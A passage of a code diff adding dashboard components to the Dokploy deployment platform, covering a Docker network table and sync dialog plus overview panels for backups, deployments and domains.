+								try {
+									await removeNetwork({
+										networkId: row.original.networkId,
+									});
+									toast.success("Network deleted");
+									await utils.network.all.invalidate();
+									await utils.network.networksToSync.invalidate();
+								} catch (error) {
+									toast.error("Error deleting network", {
+										description:
+											error instanceof Error ? error.message : "Unknown error",
+									});
+								}
+							}}
+						>
+							<Button
+								variant="ghost"
+								size="icon-sm"
+								aria-label="Delete network"
+							>
+								<Trash2 className="size-4 text-destructive" />
+							</Button>
+						</DialogAction>
+					</div>
+				),
+			},
+		],
+		[verified, syncStatus, missingIds, removeNetwork, recreateMutation, utils],
+	);
+
+	const table = useReactTable({
+		data: filteredData,
+		columns,
+		state: {
+			sorting,
+			pagination,
+		},
+		onSortingChange: setSorting,
+		onPaginationChange: setPagination,
+		getCoreRowModel: getCoreRowModel(),
+		getSortedRowModel: getSortedRowModel(),
+		getPaginationRowModel: getPaginationRowModel(),
+	});
+
+	return (
+		<div className="w-full">
+			<Card className="h-full bg-sidebar p-2.5 rounded-xl">
+				<div className="rounded-xl bg-background shadow-md ">
+					<CardHeader className="">
+						<CardTitle className="text-xl flex flex-row gap-2">
+							<Network className="size-6 text-muted-foreground self-center" />
+							Networks
+						</CardTitle>
+						<CardDescription>
+							Manage the Docker networks of the selected server.
+						</CardDescription>
+						<CardAction className="self-center">
+							<div className="flex items-center gap-2">
+								{networks && networks.length > 0 && (
+									<Button
+										variant="outline"
+										isLoading={isVerifying}
+										onClick={onVerify}
+									>
+										<ShieldCheck className="size-4" />
+										Verify
+									</Button>
+								)}
+								<SyncNetworks serverId={serverId} />
+								{networks && networks.length > 0 && (
+									<HandleNetwork serverId={serverId} />
+								)}
+							</div>
+						</CardAction>
+					</CardHeader>
+
+					<CardContent className="space-y-4 py-8 border-t">
+						{isLoading ? (
+							<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
+								<span>Loading...</span>
+								<Loader2 className="animate-spin size-4" />
+							</div>
+						) : !networks?.length ? (
+							<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
+								<div className="rounded-full bg-muted p-4">
+									<Network className="size-10 text-muted-foreground" />
+								</div>
+								<div className="space-y-1 text-center">
+									<p className="text-sm font-medium">No networks yet</p>
+									<p className="max-w-sm text-sm text-muted-foreground">
+										Create Docker networks for your organization and optionally
+										attach them to a server. Add your first network to get
+										started.
+									</p>
+								</div>
+								<HandleNetwork serverId={serverId} />
+							</div>
+						) : (
+							<>
+								<div className="flex flex-wrap items-center gap-2">
+									<Input
+										placeholder="Search by name, subnet, gateway..."
+										value={globalFilter}
+										onChange={(e) => setGlobalFilter(e.target.value)}
+										className="max-w-xs"
+									/>
+									<Select value={driverFilter} onValueChange={setDriverFilter}>
+										<SelectTrigger className="w-[150px]">
+											<SelectValue placeholder="Driver" />
+										</SelectTrigger>
+										<SelectContent>
+											<SelectItem value="all">All drivers</SelectItem>
+											<SelectItem value="bridge">bridge</SelectItem>
+											<SelectItem value="overlay">overlay</SelectItem>
+										</SelectContent>
+									</Select>
+								</div>
+								<div className="rounded-md border overflow-x-auto">
+									<Table>
+										<TableHeader>
+											{table.getHeaderGroups().map((headerGroup) => (
+												<TableRow key={headerGroup.id}>
+													{headerGroup.headers.map((header) => (
+														<TableHead key={header.id}>
+															{header.isPlaceholder
+																? null
+																: flexRender(
+																		header.column.columnDef.header,
+																		header.getContext(),
+																	)}
+														</TableHead>
+													))}
+												</TableRow>
+											))}
+										</TableHeader>
+										<TableBody>
+											{table.getRowModel().rows?.length ? (
+												table.getRowModel().rows.map((row) => (
+													<TableRow key={row.id}>
+														{row.getVisibleCells().map((cell) => (
+															<TableCell key={cell.id}>
+																{flexRender(
+																	cell.column.columnDef.cell,
+																	cell.getContext(),
+																)}
+															</TableCell>
+														))}
+													</TableRow>
+												))
+											) : (
+												<TableRow>
+													<TableCell
+														colSpan={columns.length}
+														className="h-24 text-center text-muted-foreground"
+													>
+														No networks match your filters.
+													</TableCell>
+												</TableRow>
+											)}
+										</TableBody>
+									</Table>
+								</div>
+								{table.getPageCount() > 1 && (
+									<div className="flex items-center justify-end gap-4">
+										<span className="text-sm text-muted-foreground">
+											Page {table.getState().pagination.pageIndex + 1} of{" "}
+											{table.getPageCount()}
+										</span>
+										<div className="flex gap-2">
+											<Button
+												variant="outline"
+												size="sm"
+												onClick={() => table.previousPage()}
+												disabled={!table.getCanPreviousPage()}
+											>
+												Previous
+											</Button>
+											<Button
+												variant="outline"
+												size="sm"
+												onClick={() => table.nextPage()}
+												disabled={!table.getCanNextPage()}
+											>
+												Next
+											</Button>
+										</div>
+									</div>
+								)}
+							</>
+						)}
+					</CardContent>
+				</div>
+			</Card>
+		</div>
+	);
+};

apps/dokploy/components/dashboard/networks/sync-networks.tsx

@@ -0,0 +1,249 @@
+"use client";
+
+import { Loader2, RefreshCw, RotateCcw, Trash2 } from "lucide-react";
+import { useState } from "react";
+import { toast } from "sonner";
+import { AlertBlock } from "@/components/shared/alert-block";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import { Checkbox } from "@/components/ui/checkbox";
+import {
+	Dialog,
+	DialogContent,
+	DialogDescription,
+	DialogFooter,
+	DialogHeader,
+	DialogTitle,
+	DialogTrigger,
+} from "@/components/ui/dialog";
+import { Separator } from "@/components/ui/separator";
+import { api } from "@/utils/api";
+
+interface Props {
+	serverId?: string;
+}
+
+export const SyncNetworks = ({ serverId }: Props) => {
+	const [open, setOpen] = useState(false);
+	const [selected, setSelected] = useState<Set<string>>(new Set());
+	const utils = api.useUtils();
+
+	const { data, isLoading, error, refetch } =
+		api.network.networksToSync.useQuery({ serverId }, { enabled: open });
+
+	const importMutation = api.network.import.useMutation();
+	const removeMutation = api.network.remove.useMutation();
+	const recreateMutation = api.network.recreate.useMutation();
+
+	const toggleSelected = (name: string) => {
+		setSelected((prev) => {
+			const next = new Set(prev);
+			if (next.has(name)) {
+				next.delete(name);
+			} else {
+				next.add(name);
+			}
+			return next;
+		});
+	};
+
+	const onImport = async () => {
+		try {
+			const result = await importMutation.mutateAsync({
+				serverId,
+				names: Array.from(selected),
+			});
+
+			if (result.imported.length > 0) {
+				toast.success(`Imported ${result.imported.length} network(s)`);
+			}
+			for (const failure of result.errors) {
+				toast.error(`Could not import "${failure.name}"`, {
+					description: failure.error,
+				});
+			}
+
+			setSelected(new Set());
+			await utils.network.all.invalidate();
+
+			setOpen(false);
+			await refetch();
+		} catch (error) {
+			toast.error("Error importing networks", {
+				description: error instanceof Error ? error.message : "Unknown error",
+			});
+		}
+	};
+
+	const onRemoveStale = async (networkId: string, name: string) => {
+		try {
+			await removeMutation.mutateAsync({ networkId });
+			toast.success(`Removed stale record "${name}"`);
+			await utils.network.all.invalidate();
+			await refetch();
+		} catch (error) {
+			toast.error("Error removing record", {
+				description: error instanceof Error ? error.message : "Unknown error",
+			});
+		}
+	};
+
+	const onRecreate = async (networkId: string, name: string) => {
+		try {
+			await recreateMutation.mutateAsync({ networkId });
+			toast.success(`Network "${name}" recreated in Docker`);
+			await utils.network.all.invalidate();
+			await utils.network.networksToSync.invalidate();
+			await refetch();
+		} catch (error) {
+			toast.error("Error recreating network", {
+				description: error instanceof Error ? error.message : "Unknown error",
+			});
+		}
+	};
+
+	return (
+		<Dialog
+			open={open}
+			onOpenChange={(value) => {
+				setOpen(value);
+				if (!value) setSelected(new Set());
+			}}
+		>
+			<DialogTrigger asChild>
+				<Button variant="outline">
+					<RefreshCw className="size-4" />
+					Sync
+				</Button>
+			</DialogTrigger>
+			<DialogContent className="sm:max-w-xl max-h-[90vh] overflow-y-auto">
+				<DialogHeader>
+					<DialogTitle className="flex items-center gap-2">
+						<RefreshCw className="size-5 text-muted-foreground" />
+						Sync networks
+					</DialogTitle>
+					<DialogDescription>
+						Import networks that exist in Docker but not in Dokploy, and clean
+						up records whose network no longer exists.
+					</DialogDescription>
+				</DialogHeader>
+
+				{error ? (
+					<AlertBlock type="error">{error.message}</AlertBlock>
+				) : isLoading ? (
+					<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
+						<span>Scanning Docker networks...</span>
+						<Loader2 className="animate-spin size-4" />
+					</div>
+				) : (
+					<div className="flex flex-col gap-4">
+						<div className="flex flex-col gap-2">
+							<span className="text-sm font-medium">
+								Found in Docker ({data?.importable.length ?? 0})
+							</span>
+							{data?.importable.length ? (
+								data.importable.map((dockerNetwork) => (
+									<label
+										key={dockerNetwork.name}
+										htmlFor={`import-network-${dockerNetwork.name}`}
+										className="flex cursor-pointer items-center justify-between gap-3 rounded-lg border p-3"
+									>
+										<div className="flex items-center gap-3">
+											<Checkbox
+												id={`import-network-${dockerNetwork.name}`}
+												checked={selected.has(dockerNetwork.name)}
+												onCheckedChange={() =>
+													toggleSelected(dockerNetwork.name)
+												}
+											/>
+											<div className="flex flex-col">
+												<span className="text-sm font-medium">
+													{dockerNetwork.name}
+												</span>
+												{dockerNetwork.subnets.length > 0 && (
+													<span className="text-xs text-muted-foreground">
+														{dockerNetwork.subnets.join(" · ")}
+													</span>
+												)}
+											</div>
+										</div>
+										<Badge variant="outline">{dockerNetwork.driver}</Badge>
+									</label>
+								))
+							) : (
+								<span className="text-sm text-muted-foreground">
+									Nothing to import — everything is in sync.
+								</span>
+							)}
+						</div>
+
+						{!!data?.missing.length && (
+							<>
+								<Separator />
+								<div className="flex flex-col gap-2">
+									<span className="text-sm font-medium">
+										Missing in Docker ({data.missing.length})
+									</span>
+									<span className="text-xs text-muted-foreground">
+										These records exist in Dokploy but their network is gone
+										from Docker.
+									</span>
+									{data.missing.map((stale) => (
+										<div
+											key={stale.networkId}
+											className="flex items-center justify-between gap-3 rounded-lg border border-dashed p-3"
+										>
+											<span className="text-sm">{stale.name}</span>
+											<div className="flex items-center gap-2">
+												<Button
+													variant="outline"
+													size="xs"
+													isLoading={recreateMutation.isPending}
+													onClick={() =>
+														onRecreate(stale.networkId, stale.name)
+													}
+												>
+													<RotateCcw className="size-3.5" />
+													Recreate
+												</Button>
+												<Button
+													variant="ghost"
+													size="icon-sm"
+													aria-label={`Remove stale record ${stale.name}`}
+													isLoading={removeMutation.isPending}
+													onClick={() =>
+														onRemoveStale(stale.networkId, stale.name)
+													}
+												>
+													<Trash2 className="size-4 text-destructive" />
+												</Button>
+											</div>
+										</div>
+									))}
+								</div>
+							</>
+						)}
+					</div>
+				)}
+
+				<DialogFooter>
+					<Button
+						type="button"
+						variant="outline"
+						onClick={() => setOpen(false)}
+					>
+						Close
+					</Button>
+					<Button
+						type="button"
+						disabled={selected.size === 0}
+						isLoading={importMutation.isPending}
+						onClick={onImport}
+					>
+						Import selected ({selected.size})
+					</Button>
+				</DialogFooter>
+			</DialogContent>
+		</Dialog>
+	);
+};

apps/dokploy/components/dashboard/organization/handle-organization.tsx

@@ -14,7 +14,6 @@ import {
 	DialogTitle,
 	DialogTrigger,
 } from "@/components/ui/dialog";
-import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
 import {
 	Form,
 	FormControl,
@@ -103,16 +102,19 @@ export function AddOrganization({ organizationId }: Props) {
 		<Dialog open={open} onOpenChange={setOpen}>
 			<DialogTrigger asChild>
 				{organizationId ? (
-					<DropdownMenuItem
-						className="group cursor-pointer hover:bg-blue-500/10"
-						onSelect={(e) => e.preventDefault()}
+					<Button
+						type="button"
+						variant="ghost"
+						size="icon"
+						className="group hover:bg-blue-500/10"
+						title="Edit organization"
 					>
 						<PenBoxIcon className="size-3.5 text-primary group-hover:text-blue-500" />
-					</DropdownMenuItem>
+					</Button>
 				) : (
-					<DropdownMenuItem
-						className="gap-2 p-2"
-						onSelect={(e) => e.preventDefault()}
+					<button
+						type="button"
+						className="flex w-full items-center gap-2 rounded-md p-2 text-left text-sm hover:bg-accent hover:text-accent-foreground"
 					>
 						<div className="flex size-6 items-center justify-center rounded-md border bg-background">
 							<Plus className="size-4" />
@@ -120,7 +122,7 @@ export function AddOrganization({ organizationId }: Props) {
 						<div className="font-medium text-muted-foreground">
 							Add organization
 						</div>
-					</DropdownMenuItem>
+					</button>
 				)}
 			</DialogTrigger>
 			<DialogContent className="sm:max-w-[425px]">

apps/dokploy/components/dashboard/overview/show-overview-backups.tsx

@@ -0,0 +1,254 @@
+import type { OverviewBackup } from "@dokploy/server/services/overview-shared";
+import { getBackupOverviewIcon } from "@dokploy/server/services/overview-shared";
+import {
+	ArrowUpDown,
+	CircuitBoard,
+	GlobeIcon,
+	Loader2,
+	RefreshCw,
+	ServerIcon,
+} from "lucide-react";
+import Link from "next/link";
+import { useMemo, useState } from "react";
+import { DB_ENGINE_ICONS } from "@/components/icons/data-tools-icons";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import { Card } from "@/components/ui/card";
+import {
+	Select,
+	SelectContent,
+	SelectItem,
+	SelectTrigger,
+	SelectValue,
+} from "@/components/ui/select";
+import {
+	Table,
+	TableBody,
+	TableCell,
+	TableHead,
+	TableHeader,
+	TableRow,
+} from "@/components/ui/table";
+import { api } from "@/utils/api";
+
+const STATUS_VARIANT: Record<string, "default" | "destructive" | "secondary"> =
+	{
+		done: "default",
+		running: "secondary",
+		error: "destructive",
+		cancelled: "destructive",
+	};
+
+const renderRowIcon = (row: OverviewBackup) => {
+	const icon = getBackupOverviewIcon(row);
+	if (icon.kind === "db") {
+		const Icon = DB_ENGINE_ICONS[icon.engine as keyof typeof DB_ENGINE_ICONS];
+		return Icon ? <Icon className="h-5 w-5" /> : null;
+	}
+	if (icon.kind === "webServer") {
+		return <ServerIcon className="h-5 w-5 text-muted-foreground" />;
+	}
+	return icon.type === "compose" ? (
+		<CircuitBoard className="h-5 w-5" />
+	) : (
+		<GlobeIcon className="h-5 w-5" />
+	);
+};
+
+const detailHref = (row: OverviewBackup) => {
+	if (!row.projectId || !row.environmentId || !row.serviceOwnerId) return null;
+	return `/dashboard/project/${row.projectId}/environment/${row.environmentId}/services/${row.serviceOwnerType}/${row.serviceOwnerId}`;
+};
+
+export const ShowOverviewBackups = () => {
+	const {
+		data: backups,
+		isFetching,
+		isFetched,
+		isError,
+		refetch,
+	} = api.overview.backups.useQuery(undefined, {
+		staleTime: Number.POSITIVE_INFINITY,
+		refetchOnWindowFocus: false,
+	});
+
+	const [destinationId, setDestinationId] = useState("all");
+	const [serviceOwnerId, setServiceOwnerId] = useState("all");
+	const [sortDirection, setSortDirection] = useState<"asc" | "desc">("desc");
+
+	const destinations = useMemo(() => {
+		if (!backups) return [];
+		const map = new Map<string, string>();
+		for (const row of backups) map.set(row.destinationId, row.destinationName);
+		return Array.from(map.entries()).map(([id, name]) => ({ id, name }));
+	}, [backups]);
+
+	const services = useMemo(() => {
+		if (!backups) return [];
+		const map = new Map<string, string>();
+		for (const row of backups) {
+			if (row.serviceOwnerId) map.set(row.serviceOwnerId, row.serviceName);
+		}
+		return Array.from(map.entries()).map(([id, name]) => ({ id, name }));
+	}, [backups]);
+
+	const rows = useMemo(() => {
+		if (!backups) return [];
+		const filtered = backups.filter(
+			(row) =>
+				(destinationId === "all" || row.destinationId === destinationId) &&
+				(serviceOwnerId === "all" || row.serviceOwnerId === serviceOwnerId),
+		);
+		const sorted = [...filtered].sort(
+			(a, b) =>
+				new Date(a.createdAt).getTime() - new Date(b.createdAt).getTime(),
+		);
+		return sortDirection === "asc" ? sorted : sorted.reverse();
+	}, [backups, destinationId, serviceOwnerId, sortDirection]);
+
+	return (
+		<Card className="bg-sidebar p-2.5 rounded-xl w-full">
+			<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
+				<div className="flex flex-wrap items-center gap-3 justify-between">
+					<h3 className="text-lg font-medium">
+						Backups{" "}
+						{isFetched && (
+							<span className="text-sm font-normal text-muted-foreground">
+								({rows.length})
+							</span>
+						)}
+					</h3>
+					<div className="flex flex-wrap items-center gap-2">
+						{isFetched && (
+							<>
+								<Select value={destinationId} onValueChange={setDestinationId}>
+									<SelectTrigger className="w-[180px]">
+										<SelectValue placeholder="Destination" />
+									</SelectTrigger>
+									<SelectContent>
+										<SelectItem value="all">All destinations</SelectItem>
+										{destinations.map((d) => (
+											<SelectItem key={d.id} value={d.id}>
+												{d.name}
+											</SelectItem>
+										))}
+									</SelectContent>
+								</Select>
+								<Select
+									value={serviceOwnerId}
+									onValueChange={setServiceOwnerId}
+								>
+									<SelectTrigger className="w-[180px]">
+										<SelectValue placeholder="Service" />
+									</SelectTrigger>
+									<SelectContent>
+										<SelectItem value="all">All services</SelectItem>
+										{services.map((s) => (
+											<SelectItem key={s.id} value={s.id}>
+												{s.name}
+											</SelectItem>
+										))}
+									</SelectContent>
+								</Select>
+								<Button
+									variant="outline"
+									size="sm"
+									onClick={() =>
+										setSortDirection((d) => (d === "desc" ? "asc" : "desc"))
+									}
+								>
+									<ArrowUpDown className="size-4 mr-2" />
+									{sortDirection === "desc" ? "Newest first" : "Oldest first"}
+								</Button>
+							</>
+						)}
+						<Button onClick={() => refetch()} disabled={isFetching} size="sm">
+							{isFetching ? (
+								<Loader2 className="size-4 animate-spin mr-2" />
+							) : (
+								<RefreshCw className="size-4 mr-2" />
+							)}
+							Refresh
+						</Button>
+					</div>
+				</div>
+
+				{isFetching && !isFetched && (
+					<div className="flex items-center justify-center gap-2 py-16 text-muted-foreground">
+						<Loader2 className="size-4 animate-spin" />
+						Loading backups...
+					</div>
+				)}
+
+				{isFetched && isError && (
+					<div className="flex flex-col items-center justify-center gap-2 py-16 text-muted-foreground">
+						<span>Failed to load backups.</span>
+						<Button variant="outline" size="sm" onClick={() => refetch()}>
+							Retry
+						</Button>
+					</div>
+				)}
+
+				{isFetched && !isError && rows.length === 0 && (
+					<div className="flex items-center justify-center py-16 text-muted-foreground">
+						No backups match the current filters.
+					</div>
+				)}
+
+				{isFetched && !isError && rows.length > 0 && (
+					<Table>
+						<TableHeader>
+							<TableRow>
+								<TableHead>Date</TableHead>
+								<TableHead>Service</TableHead>
+								<TableHead>Destination</TableHead>
+								<TableHead>Kind</TableHead>
+								<TableHead>Status</TableHead>
+							</TableRow>
+						</TableHeader>
+						<TableBody>
+							{rows.map((row) => {
+								const href = detailHref(row);
+								const name = href ? (
+									<Link href={href} className="hover:underline">
+										{row.serviceName}
+									</Link>
+								) : (
+									row.serviceName
+								);
+								return (
+									<TableRow key={row.deploymentId}>
+										<TableCell className="whitespace-nowrap text-sm">
+											{new Date(row.createdAt).toLocaleString()}
+										</TableCell>
+										<TableCell>
+											<div className="flex items-center gap-2">
+												{renderRowIcon(row)}
+												{name}
+											</div>
+										</TableCell>
+										<TableCell>{row.destinationName}</TableCell>
+										<TableCell>
+											<Badge variant="outline">
+												{row.kind === "backup" ? "Database" : "Volume"}
+											</Badge>
+										</TableCell>
+										<TableCell>
+											{row.status && (
+												<Badge
+													variant={STATUS_VARIANT[row.status] ?? "secondary"}
+												>
+													{row.status}
+												</Badge>
+											)}
+										</TableCell>
+									</TableRow>
+								);
+							})}
+						</TableBody>
+					</Table>
+				)}
+			</div>
+		</Card>
+	);
+};

apps/dokploy/components/dashboard/overview/show-overview-deployments.tsx

@@ -0,0 +1,77 @@
+import { Rocket } from "lucide-react";
+import { useRouter } from "next/router";
+import { ShowDeploymentsTable } from "@/components/dashboard/deployments/show-deployments-table";
+import { ShowQueueTable } from "@/components/dashboard/deployments/show-queue-table";
+import {
+	Card,
+	CardDescription,
+	CardHeader,
+	CardTitle,
+} from "@/components/ui/card";
+import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
+
+const SUBTAB_VALUES = ["deployments", "queue"] as const;
+type SubtabValue = (typeof SUBTAB_VALUES)[number];
+const DEFAULT_SUBTAB: SubtabValue = "deployments";
+
+function isValidSubtab(t: string): t is SubtabValue {
+	return SUBTAB_VALUES.includes(t as SubtabValue);
+}
+
+export const ShowOverviewDeployments = () => {
+	const router = useRouter();
+	const subtab =
+		typeof router.query.subtab === "string" &&
+		isValidSubtab(router.query.subtab)
+			? router.query.subtab
+			: DEFAULT_SUBTAB;
+
+	const setSubtab = (value: string) => {
+		if (!isValidSubtab(value)) return;
+		const { subtab: _current, ...query } = router.query;
+		router.replace(
+			{
+				pathname: router.pathname,
+				query: value === DEFAULT_SUBTAB ? query : { ...query, subtab: value },
+			},
+			undefined,
+			{ shallow: true },
+		);
+	};
+
+	return (
+		<Card className="h-full bg-sidebar p-2.5 rounded-xl min-h-[45vh]">
+			<div className="rounded-xl bg-background shadow-md h-full">
+				<CardHeader>
+					<div className="flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between">
+						<div>
+							<CardTitle className="text-xl font-bold flex items-center gap-2">
+								<Rocket className="size-5" />
+								Deployments
+							</CardTitle>
+							<CardDescription>
+								All application and compose deployments in one place.
+							</CardDescription>
+						</div>
+					</div>
+					<Tabs
+						value={subtab}
+						onValueChange={setSubtab}
+						className="w-full min-w-0"
+					>
+						<TabsList className="mt-2">
+							<TabsTrigger value="deployments">Deployments</TabsTrigger>
+							<TabsTrigger value="queue">Queue</TabsTrigger>
+						</TabsList>
+						<TabsContent value="deployments" className="mt-0 min-w-0 pt-4">
+							<ShowDeploymentsTable />
+						</TabsContent>
+						<TabsContent value="queue" className="mt-0 pt-4">
+							<ShowQueueTable />
+						</TabsContent>
+					</Tabs>
+				</CardHeader>
+			</div>
+		</Card>
+	);
+};

apps/dokploy/components/dashboard/overview/show-overview-domains.tsx

@@ -0,0 +1,383 @@
+import type { OverviewDomainSortBy } from "@dokploy/server/services/overview-shared";
+import { sortOverviewDomains } from "@dokploy/server/services/overview-shared";
+import { ExternalLink, Loader2 } from "lucide-react";
+import Link from "next/link";
+import { useMemo, useState } from "react";
+import { toast } from "sonner";
+import { COMPOSE_REDEPLOY_TOAST } from "@/components/dashboard/application/domains/redeploy-hint";
+import { DateTooltip } from "@/components/shared/date-tooltip";
+import { Badge } from "@/components/ui/badge";
+import { Button } from "@/components/ui/button";
+import { Card } from "@/components/ui/card";
+import {
+	Select,
+	SelectContent,
+	SelectItem,
+	SelectTrigger,
+	SelectValue,
+} from "@/components/ui/select";
+import { Switch } from "@/components/ui/switch";
+import {
+	Table,
+	TableBody,
+	TableCell,
+	TableHead,
+	TableHeader,
+	TableRow,
+} from "@/components/ui/table";
+import {
+	Tooltip,
+	TooltipContent,
+	TooltipProvider,
+	TooltipTrigger,
+} from "@/components/ui/tooltip";
+import { useSortPreference } from "@/hooks/use-sort-preference";
+import { api } from "@/utils/api";
+
+const PAGE_SIZE_OPTIONS = [25, 50, 100, 200];
+
+const SORT_OPTIONS: { value: OverviewDomainSortBy; label: string }[] = [
+	{ value: "createdAt-desc", label: "Newest first" },
+	{ value: "createdAt-asc", label: "Oldest first" },
+	{ value: "port-asc", label: "Port (low-high)" },
+	{ value: "port-desc", label: "Port (high-low)" },
+];
+
+const SORT_VALUES = SORT_OPTIONS.map((opt) => opt.value);
+
+export const ShowOverviewDomains = () => {
+	const utils = api.useUtils();
+	const { data: permissions } = api.user.getPermissions.useQuery();
+	const canToggleDomain = permissions?.domain.create ?? false;
+
+	const { data: domains, isLoading } = api.overview.domains.useQuery();
+	const { data: allProjects } = api.project.all.useQuery();
+
+	const { mutateAsync: toggleEnable, isPending: isToggling } =
+		api.domain.toggleEnable.useMutation();
+
+	const [selectedProjectId, setSelectedProjectId] = useState("all");
+	const [selectedStatus, setSelectedStatus] = useState("all");
+	const [selectedSsl, setSelectedSsl] = useState("all");
+	const [selectedPort, setSelectedPort] = useState("all");
+	const [sortBy, setSort] = useSortPreference<OverviewDomainSortBy>(
+		"overviewDomainsSort",
+		"createdAt-desc",
+		SORT_VALUES,
+	);
+
+	const handleToggleEnable = async (
+		domain: NonNullable<typeof domains>[number],
+	) => {
+		try {
+			const result = await toggleEnable({ domainId: domain.domainId });
+			utils.overview.domains.invalidate();
+			toast.success(
+				result.enabled ? "Domain enabled" : "Domain disabled",
+				result.requiresRedeploy
+					? { description: COMPOSE_REDEPLOY_TOAST }
+					: undefined,
+			);
+		} catch {
+			toast.error(`Error updating "${domain.host}"`);
+		}
+	};
+
+	const availablePorts = useMemo(() => {
+		if (!domains) return [];
+		const ports = new Set<number>();
+		for (const domain of domains) {
+			if (domain.port !== null) ports.add(domain.port);
+		}
+		return Array.from(ports).sort((a, b) => a - b);
+	}, [domains]);
+
+	const filteredDomains = useMemo(() => {
+		if (!domains) return [];
+		const filtered = domains.filter(
+			(domain) =>
+				(selectedProjectId === "all" ||
+					domain.projectId === selectedProjectId) &&
+				(selectedStatus === "all" ||
+					(selectedStatus === "enabled" ? domain.enabled : !domain.enabled)) &&
+				(selectedSsl === "all" ||
+					(selectedSsl === "https" ? domain.https : !domain.https)) &&
+				(selectedPort === "all" || domain.port === Number(selectedPort)),
+		);
+		return sortOverviewDomains(filtered, sortBy);
+	}, [
+		domains,
+		selectedProjectId,
+		selectedStatus,
+		selectedSsl,
+		selectedPort,
+		sortBy,
+	]);
+
+	const [pageSize, setPageSize] = useState(50);
+	const [pageIndex, setPageIndex] = useState(0);
+	const pageCount = Math.max(1, Math.ceil(filteredDomains.length / pageSize));
+	const currentPageIndex = Math.min(pageIndex, pageCount - 1);
+	const pagedDomains = filteredDomains.slice(
+		currentPageIndex * pageSize,
+		currentPageIndex * pageSize + pageSize,
+	);
+
+	return (
+		<Card className="bg-sidebar p-2.5 rounded-xl w-full">
+			<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
+				<div className="flex flex-wrap items-center gap-3 justify-between">
+					<h3 className="text-lg font-medium">
+						Domains{" "}
+						<span className="text-sm font-normal text-muted-foreground">
+							({filteredDomains.length})
+						</span>
+					</h3>
+					<div className="flex flex-wrap items-center gap-2">
+						<Select
+							value={selectedProjectId}
+							onValueChange={setSelectedProjectId}
+						>
+							<SelectTrigger className="w-[160px]">
+								<SelectValue placeholder="Project" />
+							</SelectTrigger>
+							<SelectContent>
+								<SelectItem value="all">All projects</SelectItem>
+								{allProjects?.map((project) => (
+									<SelectItem key={project.projectId} value={project.projectId}>
+										{project.name}
+									</SelectItem>
+								))}
+							</SelectContent>
+						</Select>
+						<Select value={selectedStatus} onValueChange={setSelectedStatus}>
+							<SelectTrigger className="w-[130px]">
+								<SelectValue placeholder="Status" />
+							</SelectTrigger>
+							<SelectContent>
+								<SelectItem value="all">All statuses</SelectItem>
+								<SelectItem value="enabled">Enabled</SelectItem>
+								<SelectItem value="disabled">Disabled</SelectItem>
+							</SelectContent>
+						</Select>
+						<Select value={selectedSsl} onValueChange={setSelectedSsl}>
+							<SelectTrigger className="w-[130px]">
+								<SelectValue placeholder="SSL" />
+							</SelectTrigger>
+							<SelectContent>
+								<SelectItem value="all">HTTP & HTTPS</SelectItem>
+								<SelectItem value="https">HTTPS only</SelectItem>
+								<SelectItem value="http">HTTP only</SelectItem>
+							</SelectContent>
+						</Select>
+						{availablePorts.length > 0 && (
+							<Select value={selectedPort} onValueChange={setSelectedPort}>
+								<SelectTrigger className="w-[120px]">
+									<SelectValue placeholder="Port" />
+								</SelectTrigger>
+								<SelectContent>
+									<SelectItem value="all">All ports</SelectItem>
+									{availablePorts.map((port) => (
+										<SelectItem key={port} value={String(port)}>
+											{port}
+										</SelectItem>
+									))}
+								</SelectContent>
+							</Select>
+						)}
+						<Select
+							value={sortBy}
+							onValueChange={(v) => setSort(v as OverviewDomainSortBy)}
+						>
+							<SelectTrigger className="w-[170px]">
+								<SelectValue placeholder="Sort by..." />
+							</SelectTrigger>
+							<SelectContent>
+								{SORT_OPTIONS.map((opt) => (
+									<SelectItem key={opt.value} value={opt.value}>
+										{opt.label}
+									</SelectItem>
+								))}
+							</SelectContent>
+						</Select>
+					</div>
+				</div>
+
+				{isLoading && (
+					<div className="flex items-center justify-center gap-2 py-16 text-muted-foreground">
+						<Loader2 className="size-4 animate-spin" />
+						Loading domains...
+					</div>
+				)}
+
+				{!isLoading && filteredDomains.length === 0 && (
+					<div className="flex flex-col items-center justify-center gap-2 py-16 text-muted-foreground">
+						<span>No domains match the current filters.</span>
+					</div>
+				)}
+
+				{!isLoading && filteredDomains.length > 0 && (
+					<>
+						<Table>
+							<TableHeader>
+								<TableRow>
+									<TableHead>Service</TableHead>
+									<TableHead>Host</TableHead>
+									<TableHead>Path</TableHead>
+									<TableHead>Port</TableHead>
+									<TableHead>Entrypoint</TableHead>
+									<TableHead>Protocol</TableHead>
+									<TableHead>Certificate</TableHead>
+									<TableHead>Created</TableHead>
+									<TableHead className="text-right">Status</TableHead>
+								</TableRow>
+							</TableHeader>
+							<TableBody>
+								{pagedDomains.map((domain) => {
+									const href = `/dashboard/project/${domain.projectId}/environment/${domain.environmentId}/services/${domain.serviceOwnerType}/${domain.serviceOwnerId}`;
+									return (
+										<TableRow key={domain.domainId}>
+											<TableCell>
+												<Link href={href} className="flex flex-col min-w-0">
+													<span className="font-medium truncate">
+														{domain.serviceName}
+													</span>
+													<span className="text-xs font-normal text-muted-foreground">
+														{domain.projectName} / {domain.environmentName}
+													</span>
+												</Link>
+											</TableCell>
+											<TableCell>
+												<Link
+													className="flex items-center gap-2 font-medium hover:underline"
+													target="_blank"
+													href={`${domain.https ? "https" : "http"}://${domain.host}${domain.path}`}
+												>
+													{domain.host}
+													<ExternalLink className="size-3" />
+												</Link>
+											</TableCell>
+											<TableCell>
+												<span className="font-mono text-sm">
+													{domain.path || "/"}
+												</span>
+											</TableCell>
+											<TableCell>
+												<Badge variant="secondary">{domain.port}</Badge>
+											</TableCell>
+											<TableCell>
+												{domain.customEntrypoint ? (
+													<span className="font-mono text-sm">
+														{domain.customEntrypoint}
+													</span>
+												) : (
+													<span className="text-muted-foreground">—</span>
+												)}
+											</TableCell>
+											<TableCell>
+												<Badge variant={domain.https ? "outline" : "secondary"}>
